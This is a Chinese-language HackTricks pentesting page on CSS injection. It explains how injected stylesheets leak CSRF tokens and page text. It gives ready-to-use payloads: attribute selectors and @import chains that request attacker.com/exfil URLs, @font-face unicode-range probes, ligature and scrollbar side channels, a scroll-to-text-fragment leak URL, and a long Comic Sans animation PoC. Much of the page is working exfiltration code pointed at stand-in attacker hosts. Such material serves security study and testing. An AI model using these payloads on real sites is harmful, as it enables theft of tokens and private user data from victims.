hacktricks/pentesting-web/xs-search/css-injection/README.md

# CSS注入

<details>

<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 YouTube 🎥</strong></a></summary>

* 你在一家**网络安全公司**工作吗？你想在HackTricks中看到你的**公司广告**吗？或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗？请查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **通过向** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**

</details>

## CSS注入

### 属性选择器

通过CSS注入来窃取信息的主要技术是尝试使用CSS来**匹配文本**，并在**文本存在**的情况下**加载一些外部资源，例如：**
```css
input[name=csrf][value^=a]{
background-image: url(https://attacker.com/exfil/a);
}
input[name=csrf][value^=b]{
background-image: url(https://attacker.com/exfil/b);
}
/* ... */
input[name=csrf][value^=9]{
background-image: url(https://attacker.com/exfil/9);
}
```
然而，请注意，如果在示例中，**csrf name input** 是 **hidden** 类型（通常是这样），这种技术将无法生效，因为背景不会被加载。\
然而，您可以通过以下方式**绕过**这个障碍，而不是使隐藏元素加载背景，而是**使其后的任何内容加载背景：**
```css
input[name=csrf][value^=csrF] ~ * {
background-image: url(https://attacker.com/exfil/csrF);
}
```
一些用于利用此漏洞的代码示例：[https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e)

#### 先决条件

1. CSS注入需要允许足够长的有效负载
2. 能够**通过框架化页面来触发新生成有效负载的CSS重新评估**
3. 能够使用**外部托管的图像**（可能会被CSP阻止）

### @import

前一种技术有一些缺点，请检查先决条件。您要么需要能够**向受害者发送多个链接**，要么需要能够**将CSS注入漏洞页面进行框架化**。

然而，还有一种巧妙的技术使用了**CSS的`@import`**来提高技术的质量。

这是由[**Pepe Vila**](https://vwzq.net/slides/2019-s3\_css\_injection\_attacks.pdf)首次展示的，它的工作原理如下：

我们不再重复加载同一个页面，每次都使用几十个不同的有效负载（就像前面的技术中那样），而是只加载一次页面，并且只使用一个导入到攻击者服务器的方式（这是要发送给受害者的有效负载）：
```css
@import url('//attacker.com:5001/start?');
```
1. 导入将从攻击者那里**接收一些CSS脚本**，然后**浏览器将加载它**。
2. 攻击者将发送的CSS脚本的第一部分是**再次向攻击者服务器发送`@import`请求**。
3. 攻击者服务器暂时不会响应此请求，因为我们想要泄露一些字符，然后响应此导入以泄露下一个字符。
4. 负载的第二部分将是一个**属性选择器泄露负载**。
5. 这将向攻击者服务器发送**秘密的第一个字符和最后一个字符**。
6. 一旦攻击者服务器接收到**秘密的第一个字符和最后一个字符**，它将**响应步骤2中请求的导入**。
7. 响应将与**步骤2、3和4**完全相同，但这次它将尝试**找到秘密的第二个字符和倒数第二个字符**。

攻击者将**重复此循环**，直到完全泄露秘密。

您可以在此处找到原始的[**Pepe Vila用于利用此漏洞的代码**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231)，或者您可以在此处找到几乎相同的[**已注释的代码**](./#css-injection)。

{% hint style="info" %}
该脚本每次尝试发现2个字符（从开头和末尾），因为属性选择器允许执行以下操作：
```css
/* value^=  to match the beggining of the value*/
input[value^="0"]{--s0:url(http://localhost:5001/leak?pre=0)}

/* value$=  to match the ending of the value*/
input[value$="f"]{--e0:url(http://localhost:5001/leak?post=f)}
```
这样可以使脚本更快地泄露秘密。
{% endhint %}

{% hint style="warning" %}
有时脚本**无法正确检测到已发现的前缀+后缀已经是完整的标志**，它会继续向前（在前缀中）和向后（在后缀中）进行，并且在某个点上会停止。\
别担心，只需检查**输出**，因为**你可以在那里看到标志**。
{% endhint %}

### 其他选择器

使用**CSS选择器**访问DOM部分的其他方法：

* **`.class-to-search:nth-child(2)`**：这将在DOM中搜索具有类名为"class-to-search"的第二个项目。
* **`:empty`**选择器：例如在[**此解答**](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker)**中使用**：&#x20;

```css
[role^="img"][aria-label="1"]:empty { background-image: url("YOUR_SERVER_URL?1"); }
```

### 基于错误的XS-Search

**参考资料：**[基于CSS的攻击：滥用@font-face的unicode-range](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html)，[基于错误的XS-Search PoC by @terjanq](https://twitter.com/terjanq/status/1180477124861407234)

基本上，主要思想是在**由我们控制的端点**中使用**自定义字体**，该字体将仅在**资源无法加载时显示**。
```html
<!DOCTYPE html>
<html>
<head>
<style>
@font-face{
font-family: poc;
src: url(http://ourenpoint.com/?leak);
unicode-range:U+0041;
}

#poc0{
font-family: 'poc';
}

</style>
</head>
<body>

<object id="poc0" data="http://192.168.0.1/favicon.ico">A</object>
</body>
</html>
```
### 样式化滚动到文本片段

当一个URL片段指向一个元素时，可以使用`:target`伪类来选择它，但是`::target-text`不匹配任何内容。它只匹配被\[片段]所指定的文本。

因此，攻击者可以使用滚动到文本片段，如果找到了带有该文本的内容，我们可以从攻击者的服务器加载资源来指示它：
```
:target::before { content : url(target.png) }
```
这种攻击的一个例子可以是：
```
http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator
```
The code is being sent by the server.
```css
<style>:target::before { content : url(http://attackers-domain/?confirmed_existence_of_Administrator_username) }</style>
```
使用滚动到文本片段：`#:~:text=Administrator`

如果找到了Administrator这个词，将加载指定的资源。

有三个主要的缓解措施：

1. **STTF只能匹配网页上的单词或句子**，理论上不可能泄露随机的秘密或令牌（除非我们将秘密分解为一个字母的段落）。
2. 它**限制在顶级浏览上下文中**，因此在iframe中无法工作，使攻击**对受害者可见**。
3. **需要用户激活手势才能使STTF工作**，因此只有用户操作导致的导航才能被利用，这大大降低了在没有用户交互的情况下自动化攻击的可能性。然而，上述博客文章的作者发现了一些条件，可以促进攻击的自动化。另外，类似的情况将在PoC＃3中介绍。
4. 有一些**绕过方法**，比如**社交工程**，或者**强制常见的浏览器扩展进行交互**。

有关更多信息，请查看原始报告：[https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/](https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/)

### @font-face / unicode-range <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>

您可以为特定的Unicode值指定**外部字体**，只有当这些Unicode值出现在页面中时，才会**收集**它们。例如：
```html
<style>
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?A); /* fetched */
unicode-range:U+0041;
}
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?B); /* fetched too */
unicode-range:U+0042;
}
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?C); /* not fetched */
unicode-range:U+0043;
}
#sensitive-information{
font-family:poc;
}
</style>

<p id="sensitive-information">AB</p>htm
```
当您访问此页面时，Chrome和Firefox会获取"?A"和"?B"，因为敏感信息的文本节点包含"A"和"B"字符。但是Chrome和Firefox不会获取"?C"，因为它不包含"C"。这意味着我们已经能够读取"A"和"B"。

### 文本节点泄露（I）：连字 <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>

**参考资料：**[Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację](https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/)

我们可以使用一种技术，结合**字体连字**和**宽度变化的检测**，来提取节点中包含的文本。这种技术的主要思想是创建包含**高大小**的预定义连字的字体，并使用**大小变化作为预测工具**。

字体可以创建为SVG字体，然后使用fontforge转换为woff。在SVG中，我们可以通过**horiz-adv-x**属性定义字形的宽度，因此我们可以构建类似`<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>`的内容，其中**XY是两个字符的序列**。**如果该序列存在，它将被渲染，并且文本的大小将发生变化**。但是...我们如何检测这些变化呢？

当将white-space属性定义为**nowrap**时，它会强制文本在超过父元素宽度时不换行。在这种情况下，会出现**水平滚动条**。而且我们可以**定义滚动条的样式**，因此我们可以在发生这种情况时泄露信息**:)**
```css
body { white-space: nowrap };
body::-webkit-scrollbar { background: blue; }
body::-webkit-scrollbar:horizontal { background: url(http://ourendpoint.com/?leak); }
```
到目前为止，攻击的过程很清楚：

1. 创建**具有巨大宽度的两个字符的字体**
2. 通过**滚动条技巧检测泄漏**
3. 使用泄漏的第一个连字作为基础，创建**三个字符的新组合**（在字符之前/之后添加）
4. **检测****三个字符的连字**。
5. 重复直到**泄漏整个文本**

我们仍然需要改进的方法来开始迭代，因为`<meta refresh=...`是次优的。您可以使用**CSS @import技巧来优化攻击**。

### 文本节点泄漏（II）：使用默认字体泄漏字符集 <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>

**参考：**[由@Cgvwzq和@Terjanq使用Comic Sans的PoC](https://demo.vwzq.net/css2.html)

这个技巧在这个[**Slackers thread**](https://www.reddit.com/r/Slackers/comments/dzrx2s/what\_can\_we\_do\_with\_single\_css\_injection/)中发布。可以使用浏览器中安装的**默认字体**来泄漏文本节点中使用的字符集：不需要外部或自定义字体。

关键是使用动画来**将div的宽度从0增加到文本的末尾**，每次增加一个字符的大小。通过这样做，我们可以将文本“分割”为两部分：一个“前缀”（第一行）和一个“后缀”，因此每次div增加其宽度时，一个新的字符从“后缀”移动到“前缀”。类似于：

**C**\
ADB

**CA**\
DB

**CAD**\
B

**CADB**

当一个新字符进入第一行时，**使用unicode-range技巧来检测前缀中的新字符**。通过将字体更改为Comic Sans，其高度较大，从而触发**垂直滚动条**（泄漏字符值）。通过这种方式，我们可以泄漏每个不同的字符一次。**我们可以检测字符是否重复，但无法确定重复的是哪个字符**。

{% hint style="info" %}
基本上，**unicode-range用于检测字符**，但由于我们不想加载外部字体，我们需要找到另一种方法。\
当**找到字符**时，将其赋予预安装的**Comic Sans字体**，这将使字符变大并触发**滚动条**，从而**泄漏找到的字符**。
{% endhint %}

检查从PoC中提取的代码：
```css
/* comic sans is high (lol) and causes a vertical overflow */
@font-face{font-family:has_A;src:local('Comic Sans MS');unicode-range:U+41;font-style:monospace;}
@font-face{font-family:has_B;src:local('Comic Sans MS');unicode-range:U+42;font-style:monospace;}
@font-face{font-family:has_C;src:local('Comic Sans MS');unicode-range:U+43;font-style:monospace;}
@font-face{font-family:has_D;src:local('Comic Sans MS');unicode-range:U+44;font-style:monospace;}
@font-face{font-family:has_E;src:local('Comic Sans MS');unicode-range:U+45;font-style:monospace;}
@font-face{font-family:has_F;src:local('Comic Sans MS');unicode-range:U+46;font-style:monospace;}
@font-face{font-family:has_G;src:local('Comic Sans MS');unicode-range:U+47;font-style:monospace;}
@font-face{font-family:has_H;src:local('Comic Sans MS');unicode-range:U+48;font-style:monospace;}
@font-face{font-family:has_I;src:local('Comic Sans MS');unicode-range:U+49;font-style:monospace;}
@font-face{font-family:has_J;src:local('Comic Sans MS');unicode-range:U+4a;font-style:monospace;}
@font-face{font-family:has_K;src:local('Comic Sans MS');unicode-range:U+4b;font-style:monospace;}
@font-face{font-family:has_L;src:local('Comic Sans MS');unicode-range:U+4c;font-style:monospace;}
@font-face{font-family:has_M;src:local('Comic Sans MS');unicode-range:U+4d;font-style:monospace;}
@font-face{font-family:has_N;src:local('Comic Sans MS');unicode-range:U+4e;font-style:monospace;}
@font-face{font-family:has_O;src:local('Comic Sans MS');unicode-range:U+4f;font-style:monospace;}
@font-face{font-family:has_P;src:local('Comic Sans MS');unicode-range:U+50;font-style:monospace;}
@font-face{font-family:has_Q;src:local('Comic Sans MS');unicode-range:U+51;font-style:monospace;}
@font-face{font-family:has_R;src:local('Comic Sans MS');unicode-range:U+52;font-style:monospace;}
@font-face{font-family:has_S;src:local('Comic Sans MS');unicode-range:U+53;font-style:monospace;}
@font-face{font-family:has_T;src:local('Comic Sans MS');unicode-range:U+54;font-style:monospace;}
@font-face{font-family:has_U;src:local('Comic Sans MS');unicode-range:U+55;font-style:monospace;}
@font-face{font-family:has_V;src:local('Comic Sans MS');unicode-range:U+56;font-style:monospace;}
@font-face{font-family:has_W;src:local('Comic Sans MS');unicode-range:U+57;font-style:monospace;}
@font-face{font-family:has_X;src:local('Comic Sans MS');unicode-range:U+58;font-style:monospace;}
@font-face{font-family:has_Y;src:local('Comic Sans MS');unicode-range:U+59;font-style:monospace;}
@font-face{font-family:has_Z;src:local('Comic Sans MS');unicode-range:U+5a;font-style:monospace;}
@font-face{font-family:has_0;src:local('Comic Sans MS');unicode-range:U+30;font-style:monospace;}
@font-face{font-family:has_1;src:local('Comic Sans MS');unicode-range:U+31;font-style:monospace;}
@font-face{font-family:has_2;src:local('Comic Sans MS');unicode-range:U+32;font-style:monospace;}
@font-face{font-family:has_3;src:local('Comic Sans MS');unicode-range:U+33;font-style:monospace;}
@font-face{font-family:has_4;src:local('Comic Sans MS');unicode-range:U+34;font-style:monospace;}
@font-face{font-family:has_5;src:local('Comic Sans MS');unicode-range:U+35;font-style:monospace;}
@font-face{font-family:has_6;src:local('Comic Sans MS');unicode-range:U+36;font-style:monospace;}
@font-face{font-family:has_7;src:local('Comic Sans MS');unicode-range:U+37;font-style:monospace;}
@font-face{font-family:has_8;src:local('Comic Sans MS');unicode-range:U+38;font-style:monospace;}
@font-face{font-family:has_9;src:local('Comic Sans MS');unicode-range:U+39;font-style:monospace;}
@font-face{font-family:rest;src: local('Courier New');font-style:monospace;unicode-range:U+0-10FFFF}

div.leak {
overflow-y: auto; /* leak channel */
overflow-x: hidden; /* remove false positives */
height: 40px; /* comic sans capitals exceed this height */
font-size: 0px; /* make suffix invisible */
letter-spacing: 0px; /* separation */
word-break: break-all; /* small width split words in lines */
font-family: rest; /* default */
background: grey; /* default */
width: 0px; /* initial value */
animation: loop step-end 200s 0s, trychar step-end 2s 0s; /* animations: trychar duration must be 1/100th of loop duration */
animation-iteration-count: 1, infinite; /* single width iteration, repeat trychar one per width increase (or infinite) */
}

div.leak::first-line{
font-size: 30px; /* prefix is visible in first line */
text-transform: uppercase; /* only capital letters leak */
}

/* iterate over all chars */
@keyframes trychar {
0% { font-family: rest; } /* delay for width change */
5% { font-family: has_A, rest; --leak: url(?a); }
6% { font-family: rest; }
10% { font-family: has_B, rest; --leak: url(?b); }
11% { font-family: rest; }
15% { font-family: has_C, rest; --leak: url(?c); }
16% { font-family: rest }
20% { font-family: has_D, rest; --leak: url(?d); }
21% { font-family: rest; }
25% { font-family: has_E, rest; --leak: url(?e); }
26% { font-family: rest; }
30% { font-family: has_F, rest; --leak: url(?f); }
31% { font-family: rest; }
35% { font-family: has_G, rest; --leak: url(?g); }
36% { font-family: rest; }
40% { font-family: has_H, rest; --leak: url(?h); }
41% { font-family: rest }
45% { font-family: has_I, rest; --leak: url(?i); }
46% { font-family: rest; }
50% { font-family: has_J, rest; --leak: url(?j); }
51% { font-family: rest; }
55% { font-family: has_K, rest; --leak: url(?k); }
56% { font-family: rest; }
60% { font-family: has_L, rest; --leak: url(?l); }
61% { font-family: rest; }
65% { font-family: has_M, rest; --leak: url(?m); }
66% { font-family: rest; }
70% { font-family: has_N, rest; --leak: url(?n); }
71% { font-family: rest; }
75% { font-family: has_O, rest; --leak: url(?o); }
76% { font-family: rest; }
80% { font-family: has_P, rest; --leak: url(?p); }
81% { font-family: rest; }
85% { font-family: has_Q, rest; --leak: url(?q); }
86% { font-family: rest; }
90% { font-family: has_R, rest; --leak: url(?r); }
91% { font-family: rest; }
95% { font-family: has_S, rest; --leak: url(?s); }
96% { font-family: rest; }
}

/* increase width char by char, i.e. add new char to prefix */
@keyframes loop {
0% { width: 0px }
1% { width: 20px }
2% { width: 40px }
3% { width: 60px }
4% { width: 80px }
4% { width: 100px }
5% { width: 120px }
6% { width: 140px }
7% { width: 0px }
}

div::-webkit-scrollbar {
background: blue;
}

/* side-channel */
div::-webkit-scrollbar:vertical {
background: blue var(--leak);
}
```
## 参考资料

* [https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e](https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e)
* [https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b](https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b)
* [https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d](https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d)
* [https://x-c3ll.github.io/posts/CSS-Injection-Primitives/](https://x-c3ll.github.io/posts/CSS-Injection-Primitives/)

<details>

<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>

* 你在一家**网络安全公司**工作吗？想要在 HackTricks 中**宣传你的公司**吗？或者想要**获取最新版本的 PEASS 或下载 HackTricks 的 PDF**吗？请查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass)，或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **通过向**[**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享你的黑客技巧。**

</details>